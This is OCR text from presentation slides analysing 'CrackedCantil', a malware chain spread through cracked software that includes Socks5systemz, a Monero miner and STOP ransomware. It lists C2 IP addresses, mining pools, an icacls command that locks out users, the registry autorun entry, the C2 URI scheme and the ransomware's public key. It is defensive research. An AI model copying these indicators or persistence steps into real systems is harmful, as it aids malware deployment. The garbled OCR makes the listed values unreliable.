KEGIDHJKKJDGCBGCGIJK

4 Recv: 178b Timeshift: 196.58 s $ D¢ Hide «

HTTP/1.1 2606 OK

Server: nginx/1.18.0 (Ubuntu)

Date: Thu, 14 Dec 2023 06:30:85 GMT
Content-Type: text/html; charset=UTF-8
Content-Length: 8

Connection: keep-alive

YmxvY2s=



The Chorus ot "Otherwares™
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Chorale of the "Otherware™

Chorale of | Any malware that Communicate with T1071: Application Layer Protocol

the doesn’t fall into the c2 | T1571: Non-Standard Port

‘Otherware’ | category of a loader,
infostealer,
ransomware —
typically, malware
that hijacks device
resources

Hijack resources T1496: Resource Hijacking




SocksoSvstemz: CZ communication

"[Consistently communicates to CZ
*\1a port 2023
* Bunch of IP:PORT 1n traffic
" (11571 : Non—-Standard Port)

Contents of traffic ....5.188.159.233:500;65.109.80.53:500,;,195.154.39.74:1500,;77.246.11
0.194:300;65.108.108.170:100;65.108.197.199:300;77.246.105.15:300;1
18.68.248.85:6000;118.69.101.181:6000;118.68.248.102:6000;118.71.20
4.77:6000;199.87.210.42:100;185.253.32.229:100;

w 195.2.67.236:300;141.136.89.136:300;,185.253.32.146:100;95.216.10.
170:500;185.60.133.190:1500,;185.106.92.225:1000;,82.117.255.18:3000;
176.10.111.129:500;185.63.189.168:2000w. .&

Table 20: Contents of traffic sent to the C2 by Socks5systemz (truncated).




Coin Miner: Coin M1ining

"Dropped from Privatel oader
»Smoke |oader schedules task

"axplorer exe reriodically runs coinminer
"Port 10343
" (11496 : Resource Hijacking)
= (11571 : Non-Standard Port)

Timeshift (s) P Port omain

_ 139.99.102.72 10343 xmr-asial.nanopool.or
_ 103.3.62.64 10343 xmr-asial.nanopool.or:
_ 139.99.102.74 10343 xmr-asial.nanopool.or

139.99.101.232 10343 -asial.nanopool.or:
nin

&



The Finale f the Ransomware
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Finale of the Ransomware

Finale of the | Encryption activities | Give other malware T1547: Boot or Logon Autostart Execution
Ransomware | happen last, and solo, | time to perform | T1053: Scheduled Task/Job
to prevent double

: Prevent double | T1057: Process Discovery
encryption

encryption T1083: File and Directory Discovery

Encrypt the files ' T1486: Data Encrypted for Impact



@

The Finale of the Ransomware

" Quoids conflicts
" Makes 1nfection cbvious

* [1me based methods
= Sleep

»
/

* Task Scheduling L %
=Specific Triggers & D @:@

" Sustem restart S y

* Hait for C2 command _;_Eﬂ



STOP: Timed Pertormance

"F1rst lets the ensemble and chorus perform

"Eherypls files aftter system restart
* Drops executable 1n MAppDataZLocal \<UUID>\
* Ipdates autorun value 1n registry

* (1154 /: Boot or Logon Autostart Execution)

" (11222 : F1le and Directory Permissions Modification)

"C:\Users\admin\AppData\Local\<UUID>\TzjwSXczmD2hOVANbz7L7Roc.exe" --AutoStart

HKEY CURRENT USER\SOFTWARE\MICROSOFT\WINDOWS\CURRENTVERSION\RUN ‘—

ICALCS command | icacls "C:\Users\admin\AppData\Local\<UUID>" /deny *S-1-1-0: (OI) (CI) H- ‘H 1

Table 22: Updated registry and ICACLS command.




STOP: Encryption

" Sends HITP GET requests to G2
* MD5 hash of uppercase MAC address 1n URL

MAC address 52:54:00:4a:ad:11

Upper-Case MAC address 52:54:00:4A:AD:11
MDS5 of Upper-Case MAC address | 47DCCO1E8C1FE7754757A5DC66COF42F

URI to C2 /test2/get .php?pid=47DCCO1E8C1FE7754757A5DC66C0F42F&first=true

A

Table 23: MAC address and the MDS5.




STOP: Encryption

"2 responds with public key
* Used for encryption

* PEM format
* Includes 1D

" [t C2 does not respond, uses hardcoded key

Public key
MIIBIjANBgkghkiG9wOBAQEFAAOCAQ8AMI IBCgKCAQEA6JEKNb6TUNDTbonXuuYh

CTRFX71NuPCxDginS/SMfGylj7Q0ad4owA93G5pDCVKkX0E/8eIglTTI3NzG/P/cKnB
8uBLmIQwNx7ecIv/ocQYL/s8NzANLQzFeE7gH1j4vEUy3y6j/QMoCcbnTQnYQJ1f
SelmzI7PXjzjVwPFtDJINj8PHFM8Gb3W0SimVmgnlR7fm53rVEKgs6iR5hzKc31+p
DVLUiETTWayHXE/qnzV3icIIjskXbRYb7t540MTxEo/YuwlugHS01gMIyC6BI1Hx
yx36DUELMapEqHC+6kmfbFphErFGagZzjS0MXdgna8SDRiltJ7bRe/YjO3h70ZAXV
BwIDAQAB

JO5MSv2D5yx05Xq7qld0101mfLNSqkZDSk6Gi8nu

Table 24: The public key and ID from the C2.



STOP: No Double Encryption

" Appends extension
* hhaz, .1jaz, elc.

" Adds a mutex to end of encrvpted ftiles
» N?0-9a-TA-F 1 18 1-([0-9a—FTA-F 14 3- )13 B-9a—TA-F H12 3\ 17%

File name Encrypted file contents

adv

05Xq7q1d0101mfLNS

OEC5B14B4DFS } ‘ Mutex 1 {1D6FC66E-D1F3-422C-8A COBBCF3D900D}

donebutton.p

Mutex 2 {FBB4BCC6-05C7-4ADD-B67B-A98A697323C1}
Mutex 3 {36A698B9-D67C-4E07-B F5)

Table 26: Examples of known mutexes 0

..B
}0...N!
k6Gi8nu{36A6

Table 25: Examples of the encrypted file contents (truncated).



S5T0P : Modular Ransomware

" (nly encrypts without stealing data first
* More flexibility for the attacker
" Pick infostealer of their choice

Figure 7: STOP s ransom note in the CrackedCantil symphony.

'ﬂ



The Intent of CrackedCantil?

*Not Double Extortion..?
* Ransomnote doesn’t warn data 1s stolen

"Not spying..?
* Too no1sy, infostealers cannot remain on system for long

*Not h1jack resources..?
* Again, too noisy, otherwares cannot milk resources for long

" Maximize damage and profit for the attacker
* Hit and run

* Might not be the best way

* Many theories..

@



Key [akeaways

"Malware detonations were coordinated
* Malware worked together
"No conflict between each

"Dangers ot cracked sof tware

* I mportance of organizing the analvsis
*Process tree was complex
*Def 1ned "Malware Symphonies™
* Improve research, analvsis, attribution




Rewatching the Symphony

CrackedCantil: A Malware Symphony Breakdown




Malware Hhalysis 1s an Hrt
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llebsite: LambdaMamba .com

Personal Email : LambdaMambal@proton .me
Twitter: @ _ambdaMamba

| inkedin: linkedin.com/1n/lenaaaa’



